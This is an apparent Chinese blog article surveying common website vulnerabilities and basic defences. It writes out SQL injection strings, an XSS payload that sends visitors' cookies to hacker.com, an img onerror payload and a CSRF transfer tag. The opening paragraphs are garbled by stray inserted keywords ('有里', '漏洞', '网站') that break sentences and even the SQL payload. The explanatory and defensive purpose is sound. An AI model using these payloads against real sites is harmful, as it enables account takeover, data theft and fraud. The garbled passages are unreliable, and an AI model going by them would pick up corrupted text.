网站有哪里漏洞

去年帮朋友看一个电商站，后台登录框输个 ' or 有里1=1 -- 直接进去了。他当时脸都绿了——数据库里躺着三万条订单记录，漏洞包括用户手机号和收货地址。网站这不是有里什么高深攻击，就是漏洞最基本的 SQL 注入，连脚本小子都嫌老套。网站可它就真实地发生在 2024 年。有里

漏洞这东西，漏洞从来不是网站“有没有”的问题，而是有里“什么时候被谁撞见”。一个网站从上线那刻起，漏洞就像把房子盖在闹市，网站窗户没关严，有里门锁是漏洞便宜货，总有人会试着推一把。

先说说最常见的注入类漏洞。SQL 注入排第一，没争议。开发图省事，把用户输入直接拼进查询语句：

攻击者填个 admin'--，密码验证就绕过去了。更狠的用 UNION SELECT 把整张用户表拖出来。你以为用了 ORM 就安全？MyBatis 里写 ${ } 而不是 #{ }，照样中招。我见过一个项目，所有接口都用了预编译，唯独“忘记密码”那个功能用了拼接——因为要动态查邮箱。结果整个库被脱。

XSS 是另一个重灾区。用户评论里插一段 <script>fetch('http://hacker.com?c='+document.cookie)</script>，只要有人看这条评论，cookie 就飞了。存储型 XSS 比反射型更恶心，因为 payload 躺在数据库里，每个访客都是受害者。有些站做了转义，但漏了富文本编辑器里的 onerror 属性——<img src=x onerror=alert(1)> 照样跑。

文件上传漏洞更直接。前端校验 .jpg 后缀？抓包改成 .php 就完事。服务器要是没配 open_basedir，传个 webshell 上去，整台机器都是别人的。前年某政务站被传了 .jsp 木马，原因居然是上传目录有执行权限。运维图方便，chmod 777 一把梭，出事是迟早的。

越权漏洞最隐蔽。你登录后访问 /user/123/profile，把 123 改成 124，看到了别人的资料。这叫水平越权。要是能改成 /admin/ 看到后台，那就是垂直越权。很多 API 只在前端隐藏了按钮，后端接口压根没校验权限。测试的时候用普通账号抓个包，把 role=user 改成 role=admin，直接提权。开发觉得“前端都藏起来了，谁没事改这个”——可攻击者就爱干这个。

逻辑漏洞花样最多。比如密码重置，第一步验证手机号返回一个 token，第二步带着 token 改密码。要是 token 是 base64(手机号)，那随便改。或者验证码不失效，同一串 123456 能用一万次。还有支付漏洞：下单时把价格参数从 100.00 改成 -1.00，平台倒找你钱。这些不是技术漏洞，是设计时脑子没转过来。

信息泄露往往被忽略。报错页面直接打印堆栈，数据库地址、表名、甚至 SQL 语句全露出来。.git 目录没删，攻击者直接下载源码审计。phpinfo() 页面忘了删，服务器环境一览无余。还有 robots.txt 里写着 Disallow: /admin_backup/——这不等于告诉别人“快来搞我”吗？

CSRF 也值得提一嘴。你登录了银行网站，然后手贱点开一个恶意页面，里面藏了个 <img src="http://bank.com/transfer?to=hacker&amount=10000">。浏览器带着你的 cookie 就发出去了，钱没了。防御方法简单——加个 CSRF token，但很多老站就是不加，因为“改起来麻烦”。

说到底，漏洞的根源就两条：一是信任了不该信任的数据，二是偷懒省了该做的校验。用户输入永远不可信，前端校验只是摆设，后端必须重新验一遍。权限检查不能只在菜单里做，每个接口都要查。敏感操作要二次确认，日志要记全，但别把密码记进去。

我见过最离谱的一个站，管理员密码是 admin123，后台路径是 /admin，数据库端口 3306 对外开放，root 密码空。这已经不是漏洞了，是敞开大门还贴了张纸条：“欢迎光临”。

安全这事没有终点。今天补了 SQL 注入，明天可能冒出个反序列化。唯一靠谱的做法是：假设自己一定会写错，然后一层层加防御。输入过滤、参数化查询、输出转义、权限最小化、定期扫描——这些老生常谈的东西，做到 80% 就能挡住 95% 的攻击。可惜很多人连 20% 都懒得做。